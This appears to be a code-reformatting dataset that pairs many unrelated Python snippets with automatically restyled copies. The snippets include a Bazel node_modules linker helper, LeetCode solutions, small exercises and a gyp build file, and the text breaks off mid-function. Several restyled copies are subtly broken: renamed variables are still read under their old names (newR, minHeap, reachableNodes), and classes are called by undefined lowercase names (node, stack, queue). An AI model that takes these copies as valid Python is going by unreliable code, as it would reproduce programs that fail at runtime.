"""Helper function and aspect to collect first-party packages. These are used in node rules to link the node_modules before launching a program. This supports path re-mapping, to support short module names. See pathMapping doc: https://github.com/Microsoft/TypeScript/issues/5039 This reads the module_root and module_name attributes from rules in the transitive closure, rolling these up to provide a mapping to the linker, which uses the mappings to link a node_modules directory for runtimes to locate all the first-party packages. """ load('@build_bazel_rules_nodejs//:providers.bzl', 'NpmPackageInfo') def _debug(vars, *args): if 'VERBOSE_LOGS' in vars.keys(): print('[link_node_modules.bzl]', *args) _aspect_result_name = 'link_node_modules__aspect_result' _module_mappings_deps_names = ['data', 'deps', 'srcs'] def register_node_modules_linker(ctx, args, inputs): """Helps an action to run node by setting up the node_modules linker as a pre-process Args: ctx: Bazel's starlark execution context, used to get attributes and actions args: Arguments being passed to the program; a linker argument will be appended inputs: inputs being passed to the program; a linker input will be appended """ mappings = {ctx.workspace_name: ['bin', ctx.workspace_name]} node_modules_root = '' for dep in getattr(ctx.attr, 'data', []) + getattr(ctx.attr, 'deps', []): if NpmPackageInfo in dep: possible_root = '/'.join([dep[NpmPackageInfo].workspace, 'node_modules']) if not node_modules_root: node_modules_root = possible_root elif node_modules_root != possible_root: fail("All npm dependencies need to come from a single workspace. Found '%s' and '%s'." % (node_modules_root, possible_root)) for (k, v) in getattr(dep, _ASPECT_RESULT_NAME, {}).items(): if k in mappings and mappings[k] != v: fail('conflicting module mapping at %s: %s maps to both %s and %s' % (dep.label, k, mappings[k], v), 'deps') _debug(ctx.var, 'Linking %s: %s' % (k, v)) mappings[k] = v modules_manifest = ctx.actions.declare_file('_%s.module_mappings.json' % ctx.label.name) content = {'bin': ctx.bin_dir.path, 'modules': mappings, 'root': node_modules_root, 'workspace': ctx.workspace_name} ctx.actions.write(modules_manifest, str(content)) args.add('--bazel_node_modules_manifest=%s' % modules_manifest.path) inputs.append(modules_manifest) def get_module_mappings(label, attrs, vars, rule_kind, srcs=[], workspace_name=None): """Returns the module_mappings from the given attrs. Collects a {module_name - module_root} hash from all transitive dependencies, checking for collisions. If a module has a non-empty `module_root` attribute, all sources underneath it are treated as if they were rooted at a folder `module_name`. Args: label: label attrs: attributes srcs: sources (defaults to []) workspace_name: workspace name (defaults to None) Returns: The module mappings """ mappings = {} for name in _MODULE_MAPPINGS_DEPS_NAMES: for dep in getattr(attrs, name, []): for (k, v) in getattr(dep, _ASPECT_RESULT_NAME, {}).items(): if k in mappings and mappings[k] != v: fail('duplicate module mapping at %s: %s maps to both %s and %s' % (label, k, mappings[k], v), 'deps') _debug(vars, 'target %s propagating module mapping %s: %s' % (dep, k, v)) if rule_kind.endswith('_binary'): mappings[k] = ['runfiles', v[1]] else: mappings[k] = v if not getattr(attrs, 'module_name', None) and (not getattr(attrs, 'module_root', None)): _debug(vars, 'No module_name or module_root attr for', label) return mappings mn = getattr(attrs, 'module_name', label.name) mr = label.package if workspace_name: mr = '%s/%s' % (workspace_name, mr) elif label.workspace_root: mr = '%s/%s' % (label.workspace_root, mr) if attrs.module_root and attrs.module_root != '.': mr = '%s/%s' % (mr, attrs.module_root) if attrs.module_root.endswith('.ts'): if workspace_name: mr = mr.replace('.d.ts', '') else: for s in srcs: short_path = s.short_path if short_path.startswith('../'): short_path = 'external/' + short_path[3:] if not short_path.startswith(mr): fail('all sources must be under module root: %s, but found: %s' % (mr, short_path)) if getattr(attrs, 'module_from_src', False): mr = ['src', mr] else: mr = ['bin', mr] if mn in mappings and mappings[mn] != mr: fail('duplicate module mapping at %s: %s maps to both %s and %s' % (label, mn, mappings[mn], mr), 'deps') _debug(vars, 'target %s adding module mapping %s: %s' % (label, mn, mr)) mappings[mn] = mr return mappings def _module_mappings_aspect_impl(target, ctx): if target.label.workspace_root: workspace_name = target.label.workspace_root.split('/')[1] else: workspace_name = ctx.workspace_name return struct(**{_ASPECT_RESULT_NAME: get_module_mappings(target.label, ctx.rule.attr, ctx.var, ctx.rule.kind, workspace_name=workspace_name)}) module_mappings_aspect = aspect(_module_mappings_aspect_impl, attr_aspects=_MODULE_MAPPINGS_DEPS_NAMES)
# -*- coding: utf-8 -*- """ Created on Wed Jun 8 19:15:34 2016 @author: ericgrimson """ US = ['MIT', 'Harvard', 'Yale'] UK = ['Cambridge', 'Oxford'] Unis = [US, UK] Unisnew = [['MIT', 'Harvard', 'Yale'], ['US', 'UK']] # US.append('Princeton')
""" Created on Wed Jun 8 19:15:34 2016 @author: ericgrimson """ us = ['MIT', 'Harvard', 'Yale'] uk = ['Cambridge', 'Oxford'] unis = [US, UK] unisnew = [['MIT', 'Harvard', 'Yale'], ['US', 'UK']]
class Parkhaus: """ Class used to represent information about a car park Attributes ---------- entry : str how and/or where to enter the car park entry : str how and/or where to enter the car park openingHours : str opening hours of the car park hightLimit : str empty if none / is a string in the format: x,yz m with x,y,z number address : str street, housenr and postal code operator : str address and name of the car house operator spots : int total number of available spots freeSpots : int free spots occupiedSpots : int occupied spots tendency : str tendency of free spots development: gleichbleibend, steigend or sinkend image : str an absolute image url of (the entry of) the car park """ def __init__(self, entry, openingHours, hightLimit, address, operator, spots, freeSpots, occupiedSpots, tendency, image): self.entry = entry self.openingHours = openingHours self.hightLimit = hightLimit self.address = address self.operator = operator self.spots = spots self.freeSpots = freeSpots self.occupiedSpots = occupiedSpots self.tendency = tendency self.image = image
class Parkhaus: """ Class used to represent information about a car park Attributes ---------- entry : str how and/or where to enter the car park entry : str how and/or where to enter the car park openingHours : str opening hours of the car park hightLimit : str empty if none / is a string in the format: x,yz m with x,y,z number address : str street, housenr and postal code operator : str address and name of the car house operator spots : int total number of available spots freeSpots : int free spots occupiedSpots : int occupied spots tendency : str tendency of free spots development: gleichbleibend, steigend or sinkend image : str an absolute image url of (the entry of) the car park """ def __init__(self, entry, openingHours, hightLimit, address, operator, spots, freeSpots, occupiedSpots, tendency, image): self.entry = entry self.openingHours = openingHours self.hightLimit = hightLimit self.address = address self.operator = operator self.spots = spots self.freeSpots = freeSpots self.occupiedSpots = occupiedSpots self.tendency = tendency self.image = image
################################### # File Name : enumerate.py ################################### #!/usr/bin/python3 ALPHABET_LIST = ["a", "b", "c", "d", "e", "f"] def get_index_basic_method(): i = 0 for ch in ALPHABET_LIST: print ("%d : %s" % (i, ch)) i += 1 def get_index_enumerate_method(): for i, ch in enumerate(ALPHABET_LIST): print ("%d : %s" % (i, ch)) if __name__ == "__main__": print ("=== Basic method ===") get_index_basic_method() print ("=== Enumerate method ===") get_index_enumerate_method()
alphabet_list = ['a', 'b', 'c', 'd', 'e', 'f'] def get_index_basic_method(): i = 0 for ch in ALPHABET_LIST: print('%d : %s' % (i, ch)) i += 1 def get_index_enumerate_method(): for (i, ch) in enumerate(ALPHABET_LIST): print('%d : %s' % (i, ch)) if __name__ == '__main__': print('=== Basic method ===') get_index_basic_method() print('=== Enumerate method ===') get_index_enumerate_method()
def merge(dbag, data): """ Simply overwrite the existsing bag as, the whole configuration is sent every time """ if "rules" not in data: return dbag dbag['config'] = data['rules'] return dbag
def merge(dbag, data): """ Simply overwrite the existsing bag as, the whole configuration is sent every time """ if 'rules' not in data: return dbag dbag['config'] = data['rules'] return dbag
# -*- coding: utf-8 -*- # @Time : 2021/11/1 9:19 # @Software : PyCharm # @License : GNU General Public License v3.0 # @Author : xxx __all__ = ["tools", "skflow", "sci_formula", "gp", "cli", "backend", "source"]
__all__ = ['tools', 'skflow', 'sci_formula', 'gp', 'cli', 'backend', 'source']
while True: n = int(input()) if n == 0: break l = 1 o = '+' while l <= n: v = l c = 1 while c <= n: if c != n: print('{:>3}'.format(v), end=' ') else: print('{:>3}'.format(v)) o = '-' if v == 1: o = '+' elif v == n: o = '-' if o == '+': v += 1 else: v -= 1 c += 1 l += 1 print()
while True: n = int(input()) if n == 0: break l = 1 o = '+' while l <= n: v = l c = 1 while c <= n: if c != n: print('{:>3}'.format(v), end=' ') else: print('{:>3}'.format(v)) o = '-' if v == 1: o = '+' elif v == n: o = '-' if o == '+': v += 1 else: v -= 1 c += 1 l += 1 print()
def sort_012(input_list): """ Given an input array consisting on only 0, 1, and 2, sort the array in a single traversal. Args: input_list(list): List to be sorted """ pivot = 1 i, j, k = 0, 0, len(input_list) - 1 # print("Start ", input_list) while j <= k: if input_list[j] < pivot: if i != j: input_list[i], input_list[j] = input_list[j], input_list[i] # swap i and j i += 1 else: j += 1 elif input_list[j] > pivot: input_list[j], input_list[k] = input_list[k], input_list[j] # swap j and k k -= 1 else: j += 1 return input_list def _test_function(test_case): sorted_array = sort_012(test_case) print(sorted_array) if sorted_array == sorted(test_case): print("Pass") else: print("Fail") if __name__ == "__main__": _test_function([0, 0, 2, 2, 2, 1, 1, 1, 2, 0, 2]) _test_function([2, 1, 2, 0, 0, 2, 1, 0, 1, 0, 0, 2, 2, 2, 1, 2, 0, 0, 0, 2, 1, 0, 2, 0, 0, 1]) _test_function([0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2]) _test_function([0, 0 , 0]) _test_function([1, 1, 2, 2, 1, 1, 1, 2 , 2 , 1]) _test_function([]) _test_function([0, 0, 2, 2, 0, 0, 0, 2, 2, 0])
def sort_012(input_list): """ Given an input array consisting on only 0, 1, and 2, sort the array in a single traversal. Args: input_list(list): List to be sorted """ pivot = 1 (i, j, k) = (0, 0, len(input_list) - 1) while j <= k: if input_list[j] < pivot: if i != j: (input_list[i], input_list[j]) = (input_list[j], input_list[i]) i += 1 else: j += 1 elif input_list[j] > pivot: (input_list[j], input_list[k]) = (input_list[k], input_list[j]) k -= 1 else: j += 1 return input_list def _test_function(test_case): sorted_array = sort_012(test_case) print(sorted_array) if sorted_array == sorted(test_case): print('Pass') else: print('Fail') if __name__ == '__main__': _test_function([0, 0, 2, 2, 2, 1, 1, 1, 2, 0, 2]) _test_function([2, 1, 2, 0, 0, 2, 1, 0, 1, 0, 0, 2, 2, 2, 1, 2, 0, 0, 0, 2, 1, 0, 2, 0, 0, 1]) _test_function([0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2]) _test_function([0, 0, 0]) _test_function([1, 1, 2, 2, 1, 1, 1, 2, 2, 1]) _test_function([]) _test_function([0, 0, 2, 2, 0, 0, 0, 2, 2, 0])
""" The featurecollection module provides a class for GeoJSON responses. """ class FeatureCollection(object): def __init__(self): self.features = [] self.total_features = 0 self.offset = 0 def add_features(self, features): self.features.extend(features) self.total_features += len(features) def sort(self, limit=0, offset=0, distance=False): """ Sort all features in-place by _score_ and _sort_tiebreaker_ property. If distance is provided, features are sorted by _distance_ and _collection_rank_. If `limit` is provided, only keep `limit` features (after sorting). """ if distance: self.features.sort( key=lambda x: (x['properties']['_distance_'], x['properties']['_collection_rank_']), ) else: self.features.sort( key=lambda x: (-x['properties']['_score_'], x['properties']['_sort_tiebreaker_']), ) if limit: self.features = self.features[offset:limit+offset] elif offset: self.features = self.features[offset:] self.offset = offset def filter_internal_properties(self): for feature in self.features: prop = feature['properties'] for k in list(prop.keys()): if k and k[0] == '_' and k != '_title_': del prop[k] def as_mapping(self): return { 'type': 'FeatureCollection', 'features': self.features, 'properties': { 'features_total': self.total_features, 'features_returned': len(self.features), 'features_offset': self.offset, }, }
""" The featurecollection module provides a class for GeoJSON responses. """ class Featurecollection(object): def __init__(self): self.features = [] self.total_features = 0 self.offset = 0 def add_features(self, features): self.features.extend(features) self.total_features += len(features) def sort(self, limit=0, offset=0, distance=False): """ Sort all features in-place by _score_ and _sort_tiebreaker_ property. If distance is provided, features are sorted by _distance_ and _collection_rank_. If `limit` is provided, only keep `limit` features (after sorting). """ if distance: self.features.sort(key=lambda x: (x['properties']['_distance_'], x['properties']['_collection_rank_'])) else: self.features.sort(key=lambda x: (-x['properties']['_score_'], x['properties']['_sort_tiebreaker_'])) if limit: self.features = self.features[offset:limit + offset] elif offset: self.features = self.features[offset:] self.offset = offset def filter_internal_properties(self): for feature in self.features: prop = feature['properties'] for k in list(prop.keys()): if k and k[0] == '_' and (k != '_title_'): del prop[k] def as_mapping(self): return {'type': 'FeatureCollection', 'features': self.features, 'properties': {'features_total': self.total_features, 'features_returned': len(self.features), 'features_offset': self.offset}}
# Time: O(n) # Space: O(n) class Solution(object): def shortestDistanceColor(self, colors, queries): """ :type colors: List[int] :type queries: List[List[int]] :rtype: List[int] """ dp = [[-1 for _ in range(len(colors))] for _ in range(3)] dp[colors[0]-1][0] = 0 for i in range(1, len(colors)): for color in range(3): dp[color][i] = dp[color][i-1] dp[colors[i]-1][i] = i dp[colors[len(colors)-1]-1][len(colors)-1] = len(colors)-1 for i in reversed(range(len(colors)-1)): for color in range(3): if dp[color][i+1] == -1: continue if dp[color][i] == -1 or \ abs(dp[color][i+1]-i) < abs(dp[color][i]-i): dp[color][i] = dp[color][i+1] dp[colors[i]-1][i] = i return [abs(dp[color-1][i]-i) if dp[color-1][i] != -1 else -1 \ for i, color in queries]
class Solution(object): def shortest_distance_color(self, colors, queries): """ :type colors: List[int] :type queries: List[List[int]] :rtype: List[int] """ dp = [[-1 for _ in range(len(colors))] for _ in range(3)] dp[colors[0] - 1][0] = 0 for i in range(1, len(colors)): for color in range(3): dp[color][i] = dp[color][i - 1] dp[colors[i] - 1][i] = i dp[colors[len(colors) - 1] - 1][len(colors) - 1] = len(colors) - 1 for i in reversed(range(len(colors) - 1)): for color in range(3): if dp[color][i + 1] == -1: continue if dp[color][i] == -1 or abs(dp[color][i + 1] - i) < abs(dp[color][i] - i): dp[color][i] = dp[color][i + 1] dp[colors[i] - 1][i] = i return [abs(dp[color - 1][i] - i) if dp[color - 1][i] != -1 else -1 for (i, color) in queries]
#!/usr/bin/env python3 def trimmest(string): stack = [] trimmed = '' for i, c in enumerate(string): if(c != ' '): first = i break for i, c in enumerate(string[first:]): stack.append(c) stk_len = len(stack) a = stk_len - 1 for i in range(stk_len): if(stack[a] == ' '): stack.pop(a) a -= 1 for i in stack: trimmed += i return trimmed if __name__ == '__main__': trimmed = trimmest(' Hello World ') print(trimmed)
def trimmest(string): stack = [] trimmed = '' for (i, c) in enumerate(string): if c != ' ': first = i break for (i, c) in enumerate(string[first:]): stack.append(c) stk_len = len(stack) a = stk_len - 1 for i in range(stk_len): if stack[a] == ' ': stack.pop(a) a -= 1 for i in stack: trimmed += i return trimmed if __name__ == '__main__': trimmed = trimmest(' Hello World ') print(trimmed)
host = '0.0.0.0' port = 8080 debug = True CORS_HEADERS = 'Content-Type'
host = '0.0.0.0' port = 8080 debug = True cors_headers = 'Content-Type'
# Python3 def spiralNumbers(n): matrix = [[0] * n for i in range(n)] dirs = [(0, 1), (1, 0), (0, -1), (-1, 0)] r, c = 0, 0 i = 0 dr, dc = dirs[i] for num in range(1, n * n + 1): matrix[r][c] = num newR, newC = r + dr, c + dc if (0 <= newR < n) and (0 <= newC < n) and (matrix[newR][newC] == 0): r, c = newR, newC continue i = (i + 1) % len(dirs) dr, dc = dirs[i] r, c = r + dr, c + dc return matrix
def spiral_numbers(n): matrix = [[0] * n for i in range(n)] dirs = [(0, 1), (1, 0), (0, -1), (-1, 0)] (r, c) = (0, 0) i = 0 (dr, dc) = dirs[i] for num in range(1, n * n + 1): matrix[r][c] = num (new_r, new_c) = (r + dr, c + dc) if 0 <= newR < n and 0 <= newC < n and (matrix[newR][newC] == 0): (r, c) = (newR, newC) continue i = (i + 1) % len(dirs) (dr, dc) = dirs[i] (r, c) = (r + dr, c + dc) return matrix
# Copyright (c) 2013 Intel Corporation. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. { 'targets' : [ { 'target_name': 'gio', 'type': 'none', 'variables': { 'glib_packages': 'glib-2.0 gio-unix-2.0', }, 'direct_dependent_settings': { 'cflags': [ '<!@(pkg-config --cflags <(glib_packages))', ], }, 'link_settings': { 'ldflags': [ '<!@(pkg-config --libs-only-L --libs-only-other <(glib_packages))', ], 'libraries': [ '<!@(pkg-config --libs-only-l <(glib_packages))', ], }, }, ], # targets 'conditions': [ ['tizen==1', { 'targets': [ { 'target_name': 'tizen_geolocation', 'type': 'none', 'variables': { 'packages': [ 'capi-location-manager', 'vconf', ], }, 'direct_dependent_settings': { 'cflags': [ '<!@(pkg-config --cflags <@(packages))', ], }, 'link_settings': { 'ldflags': [ '<!@(pkg-config --libs-only-L --libs-only-other <@(packages))', ], 'libraries': [ '<!@(pkg-config --libs-only-l <@(packages))', ], }, }, { 'target_name': 'tizen', 'type': 'none', 'variables': { 'packages': [ 'ail', 'dlog', 'pkgmgr-parser', 'pkgmgr-info', 'pkgmgr-installer', 'pkgmgr', 'vconf', ], }, 'direct_dependent_settings': { 'cflags': [ '<!@(pkg-config --cflags <@(packages))', ], }, 'link_settings': { 'ldflags': [ '<!@(pkg-config --libs-only-L --libs-only-other <@(packages))', ], 'libraries': [ '<!@(pkg-config --libs-only-l <@(packages))', ], }, }, { 'target_name': 'tizen_sensor', 'type': 'none', 'variables': { 'packages': [ 'sensor', 'vconf', ], }, 'direct_dependent_settings': { 'cflags': [ '<!@(pkg-config --cflags <@(packages))', ], }, 'link_settings': { 'ldflags': [ '<!@(pkg-config --libs-only-L --libs-only-other <@(packages))', ], 'libraries': [ '<!@(pkg-config --libs-only-l <@(packages))', ], }, }, { 'target_name': 'tizen_sysapps', 'type': 'none', 'variables': { 'packages': [ 'vconf', ], }, 'direct_dependent_settings': { 'cflags': [ '<!@(pkg-config --cflags <@(packages))', ], }, 'link_settings': { 'ldflags': [ '<!@(pkg-config --libs-only-L --libs-only-other <@(packages))', ], 'libraries': [ '<!@(pkg-config --libs-only-l <@(packages))', ], }, }, { 'target_name': 'tizen_appcore_common', 'type': 'none', 'variables': { 'packages': [ 'appcore-common', ], }, 'direct_dependent_settings': { 'cflags': [ '<!@(pkg-config --cflags <@(packages))', ], }, 'link_settings': { 'ldflags': [ '<!@(pkg-config --libs-only-L --libs-only-other <@(packages))', ], 'libraries': [ '<!@(pkg-config --libs-only-l <@(packages))', ], }, }, { 'target_name': 'tizen_vibration', 'type': 'none', 'variables': { 'packages': [ 'haptic', ], }, 'direct_dependent_settings': { 'cflags': [ '<!@(pkg-config --cflags <@(packages))', ], }, 'link_settings': { 'ldflags': [ '<!@(pkg-config --libs-only-L --libs-only-other <@(packages))', ], 'libraries': [ '<!@(pkg-config --libs-only-l <@(packages))', ], }, }, ], # targets }], ], # conditions }
{'targets': [{'target_name': 'gio', 'type': 'none', 'variables': {'glib_packages': 'glib-2.0 gio-unix-2.0'}, 'direct_dependent_settings': {'cflags': ['<!@(pkg-config --cflags <(glib_packages))']}, 'link_settings': {'ldflags': ['<!@(pkg-config --libs-only-L --libs-only-other <(glib_packages))'], 'libraries': ['<!@(pkg-config --libs-only-l <(glib_packages))']}}], 'conditions': [['tizen==1', {'targets': [{'target_name': 'tizen_geolocation', 'type': 'none', 'variables': {'packages': ['capi-location-manager', 'vconf']}, 'direct_dependent_settings': {'cflags': ['<!@(pkg-config --cflags <@(packages))']}, 'link_settings': {'ldflags': ['<!@(pkg-config --libs-only-L --libs-only-other <@(packages))'], 'libraries': ['<!@(pkg-config --libs-only-l <@(packages))']}}, {'target_name': 'tizen', 'type': 'none', 'variables': {'packages': ['ail', 'dlog', 'pkgmgr-parser', 'pkgmgr-info', 'pkgmgr-installer', 'pkgmgr', 'vconf']}, 'direct_dependent_settings': {'cflags': ['<!@(pkg-config --cflags <@(packages))']}, 'link_settings': {'ldflags': ['<!@(pkg-config --libs-only-L --libs-only-other <@(packages))'], 'libraries': ['<!@(pkg-config --libs-only-l <@(packages))']}}, {'target_name': 'tizen_sensor', 'type': 'none', 'variables': {'packages': ['sensor', 'vconf']}, 'direct_dependent_settings': {'cflags': ['<!@(pkg-config --cflags <@(packages))']}, 'link_settings': {'ldflags': ['<!@(pkg-config --libs-only-L --libs-only-other <@(packages))'], 'libraries': ['<!@(pkg-config --libs-only-l <@(packages))']}}, {'target_name': 'tizen_sysapps', 'type': 'none', 'variables': {'packages': ['vconf']}, 'direct_dependent_settings': {'cflags': ['<!@(pkg-config --cflags <@(packages))']}, 'link_settings': {'ldflags': ['<!@(pkg-config --libs-only-L --libs-only-other <@(packages))'], 'libraries': ['<!@(pkg-config --libs-only-l <@(packages))']}}, {'target_name': 'tizen_appcore_common', 'type': 'none', 'variables': {'packages': ['appcore-common']}, 'direct_dependent_settings': {'cflags': ['<!@(pkg-config --cflags <@(packages))']}, 'link_settings': {'ldflags': ['<!@(pkg-config --libs-only-L --libs-only-other <@(packages))'], 'libraries': ['<!@(pkg-config --libs-only-l <@(packages))']}}, {'target_name': 'tizen_vibration', 'type': 'none', 'variables': {'packages': ['haptic']}, 'direct_dependent_settings': {'cflags': ['<!@(pkg-config --cflags <@(packages))']}, 'link_settings': {'ldflags': ['<!@(pkg-config --libs-only-L --libs-only-other <@(packages))'], 'libraries': ['<!@(pkg-config --libs-only-l <@(packages))']}}]}]]}
class BaseActiveLearningComponent: def fit(self, X, y): """ Fits the estimator and returns a reference to itself. """ return self def partial_fit(self, X, y): """ Updates the estimator given the data X, y. Returns a reference to itself. """ return self def rank(self, X): """ Ranks the instances in X. Returns a list of indices, sorted by relevance. The first index points to the most useful instance. """ return None
class Baseactivelearningcomponent: def fit(self, X, y): """ Fits the estimator and returns a reference to itself. """ return self def partial_fit(self, X, y): """ Updates the estimator given the data X, y. Returns a reference to itself. """ return self def rank(self, X): """ Ranks the instances in X. Returns a list of indices, sorted by relevance. The first index points to the most useful instance. """ return None
nums = [float(i) for i in input().split(" ")] def rounding(numbers): round_nums = [round(i) for i in numbers] return round_nums print(rounding(nums))
nums = [float(i) for i in input().split(' ')] def rounding(numbers): round_nums = [round(i) for i in numbers] return round_nums print(rounding(nums))
def lipschitz_opt_lb(model, initial_max=None, num_iter=100): """ Compute lower bound of the Lipschitz constant with optimization on gradient norm INPUTS: * `initial_max`: initial seed for the SGD * `num_iter`: number of SGD iterations If initial_max is not provided, the model must have an input_size attribute which consists in a list of torch.Size. """ use_cuda = next(model.parameters()).is_cuda if initial_max is None: input_size = model.input_sizes[0] initial_max = torch.randn(input_size) mone = torch.Tensor([-1]) if use_cuda: initial_max = initial_max.cuda() mone = mone.cuda() v = nn.Parameter(initial_max, requires_grad=True) optimizer = optim.Adam([v], lr=1e-3) # optimizer = optim.SGD([v], lr=1e-3, momentum=0.9, # nesterov=False) schedule = optim.lr_scheduler.ReduceLROnPlateau(optimizer, mode='max', factor=0.5, patience=50, cooldown=10, threshold=1e-6, eps=1e-6, verbose=10) it = 0 loss_mean = [] max_loss = 0 while it < num_iter: # v = initial_max optimizer.zero_grad() loss = gradient_norm(model, v)**2 loss.backward(mone) optimizer.step() loss_mean.append(np.sqrt(loss.data[0])) if loss.data[0] > max_loss: max_loss = loss.data[0] if it%10 == 0: print('[{}] {:.4f} (max: {:.4f})'.format(it, np.mean(loss_mean), math.sqrt(max_loss))) schedule.step(np.mean(loss_mean)) loss_mean = [] del loss # Free the graph # v.data.clamp_(-2, 2) it += 1 return gradient_norm(model, v).data[0]
def lipschitz_opt_lb(model, initial_max=None, num_iter=100): """ Compute lower bound of the Lipschitz constant with optimization on gradient norm INPUTS: * `initial_max`: initial seed for the SGD * `num_iter`: number of SGD iterations If initial_max is not provided, the model must have an input_size attribute which consists in a list of torch.Size. """ use_cuda = next(model.parameters()).is_cuda if initial_max is None: input_size = model.input_sizes[0] initial_max = torch.randn(input_size) mone = torch.Tensor([-1]) if use_cuda: initial_max = initial_max.cuda() mone = mone.cuda() v = nn.Parameter(initial_max, requires_grad=True) optimizer = optim.Adam([v], lr=0.001) schedule = optim.lr_scheduler.ReduceLROnPlateau(optimizer, mode='max', factor=0.5, patience=50, cooldown=10, threshold=1e-06, eps=1e-06, verbose=10) it = 0 loss_mean = [] max_loss = 0 while it < num_iter: optimizer.zero_grad() loss = gradient_norm(model, v) ** 2 loss.backward(mone) optimizer.step() loss_mean.append(np.sqrt(loss.data[0])) if loss.data[0] > max_loss: max_loss = loss.data[0] if it % 10 == 0: print('[{}] {:.4f} (max: {:.4f})'.format(it, np.mean(loss_mean), math.sqrt(max_loss))) schedule.step(np.mean(loss_mean)) loss_mean = [] del loss it += 1 return gradient_norm(model, v).data[0]
# cup1 = 0 # cup2 = 1 # cup3 = 0 # cup1 = cup1 + 1 # cup2 = cup1 - 1 # cup3 =cup1 # cup1= cup1 * 0 # cup2 = cup3 # cup3 = cup1 # cup1 = cup2 % 1 # cup3 = cup2 # cup2 = cup3 - cup3 # # word1 = 'ox' # word2 = 'owl' # word3 = 'cow' # word4 = 'sheep' # word5 = 'files' # word6 = 'trots' # word7 = 'runs' # word8 = 'blue' # word9 = 'red' # word10 = 'yellow' # word9 = ' The ' + word9 # passcode = word8 # passcode = word9 # passcode = passcode + ' f' # passcode = passcode + word1 # passcode = passcode + " " # passcode = passcode + word6 # print(passcode) # # first = ('somewhere') # last = ('over the rainbow') # print(first, last) # # temp = first # first = last # last = temp # print(first, last) # page 110 # colors = ['blue', 'red', 'green', 'purple', 'yellow', 'orange', 'pink', 'brown', 'black', 'cyan', 'moscato'] # # print({index: color for index, color in enumerate(colors)}[random.randint(0, len(colors) - 1)]) # # colorsDict = {} # # for index, color in enumerate(colors): # colorsDict[index] = color # # print(colorsDict) # # randomColor = random.randint(0, 9) # # print(colorsDict[randomColor]) # page 113 infinite loop counter - 1 is correct way counter = 10 while counter > 0: print('Counter is', counter) counter = counter + 1 print('Liftoff')
counter = 10 while counter > 0: print('Counter is', counter) counter = counter + 1 print('Liftoff')
class Solution: def reachableNodes(self, edges: List[List[int]], maxMoves: int, n: int) -> int: graph = [[] for _ in range(n)] minHeap = [(0, 0)] # (d, u) dist = [maxMoves + 1] * n dist[0] = 0 for u, v, cnt in edges: graph[u].append((v, cnt)) graph[v].append((u, cnt)) while minHeap: d, u = heapq.heappop(minHeap) # already takes maxMoves to reach u, can't explore anymore if dist[u] >= maxMoves: break for v, w in graph[u]: newDist = d + w + 1 if newDist < dist[v]: dist[v] = newDist heapq.heappush(minHeap, (newDist, v)) reachableNodes = sum(d <= maxMoves for d in dist) reachableSubnodes = 0 for u, v, cnt in edges: # reachable nodes of e from u a = 0 if dist[u] > maxMoves else min(maxMoves - dist[u], cnt) # reachable nodes of e from v b = 0 if dist[v] > maxMoves else min(maxMoves - dist[v], cnt) reachableSubnodes += min(a + b, cnt) return reachableNodes + reachableSubnodes
class Solution: def reachable_nodes(self, edges: List[List[int]], maxMoves: int, n: int) -> int: graph = [[] for _ in range(n)] min_heap = [(0, 0)] dist = [maxMoves + 1] * n dist[0] = 0 for (u, v, cnt) in edges: graph[u].append((v, cnt)) graph[v].append((u, cnt)) while minHeap: (d, u) = heapq.heappop(minHeap) if dist[u] >= maxMoves: break for (v, w) in graph[u]: new_dist = d + w + 1 if newDist < dist[v]: dist[v] = newDist heapq.heappush(minHeap, (newDist, v)) reachable_nodes = sum((d <= maxMoves for d in dist)) reachable_subnodes = 0 for (u, v, cnt) in edges: a = 0 if dist[u] > maxMoves else min(maxMoves - dist[u], cnt) b = 0 if dist[v] > maxMoves else min(maxMoves - dist[v], cnt) reachable_subnodes += min(a + b, cnt) return reachableNodes + reachableSubnodes
def middleware_setting(django_version, middleware_list): if django_version < (1, 10): return {'MIDDLEWARE_CLASSES': middleware_list} else: return {'MIDDLEWARE': middleware_list, 'MIDDLEWARE_CLASSES': None}
def middleware_setting(django_version, middleware_list): if django_version < (1, 10): return {'MIDDLEWARE_CLASSES': middleware_list} else: return {'MIDDLEWARE': middleware_list, 'MIDDLEWARE_CLASSES': None}
class Node: def __init__(self, value=None): self.value = value self.next = None class Stack(): def __init__(self): self.top = None def push(self, item): new_node = Node(item) new_node.next = self.top self.top = new_node def pop(self): current = self.top if current: self.top = current.next return current.value else: print('Stack is empty.') def peek(self): if self.top == None: return None else: current = self.top return current def isEmpty(self): return self.top == None class Queue: def __init__(self): self.inbox = Stack() self.outbox = Stack() def enqueue(self, data): self.inbox.push(data) def dequeue(self): while self.inbox.peek() != None: popped = self.inbox.pop().value self.outbox.push(popped) return self.outbox.pop() # test = Queue() # test.enqueue(1) # test.enqueue(2) # test.enqueue(3) # test.enqueue(4) def testprint(): test = Queue() test.enqueue(10) test.enqueue(20) test.enqueue(30) test.dequeue print() testprint()
class Node: def __init__(self, value=None): self.value = value self.next = None class Stack: def __init__(self): self.top = None def push(self, item): new_node = node(item) new_node.next = self.top self.top = new_node def pop(self): current = self.top if current: self.top = current.next return current.value else: print('Stack is empty.') def peek(self): if self.top == None: return None else: current = self.top return current def is_empty(self): return self.top == None class Queue: def __init__(self): self.inbox = stack() self.outbox = stack() def enqueue(self, data): self.inbox.push(data) def dequeue(self): while self.inbox.peek() != None: popped = self.inbox.pop().value self.outbox.push(popped) return self.outbox.pop() def testprint(): test = queue() test.enqueue(10) test.enqueue(20) test.enqueue(30) test.dequeue print() testprint()
class Game(object): def __init__(self, game_pairs=0): self.throws = [] self.game_pairs = game_pairs def __call__(self, game_pairs=0): self.game_pairs = game_pairs def add_throw(self, throw): self.throws.append(throw) def check_value_range(self, value): if value < 0 or value > 10: print('Exception Scenario') raise Exception('Values not in range') def get_total(self): # initializing total score , throw index to 0 total_score = 0 throw_ind = 0 for pair in range(self.game_pairs): #print('ind ', throw_ind, ' val ', self.throws[throw_ind], ' game pair ', self.game_pairs) self.check_value_range(self.throws[throw_ind]) # Checking for strike if self.throws[throw_ind] == 10: # if it is last but one if pair == self.game_pairs - 2: self.check_value_range(self.throws[throw_ind] + 1) if self.throws[throw_ind+1] == 10: total_score += 30 else: self.check_value_range(self.throws[throw_ind + 2]) total_score += 10 + self.throws[throw_ind+1] + self.throws[throw_ind + 2] # checking for last one elif pair == self.game_pairs - 1: total_score += 30 else: self.check_value_range(self.throws[throw_ind + 1]) 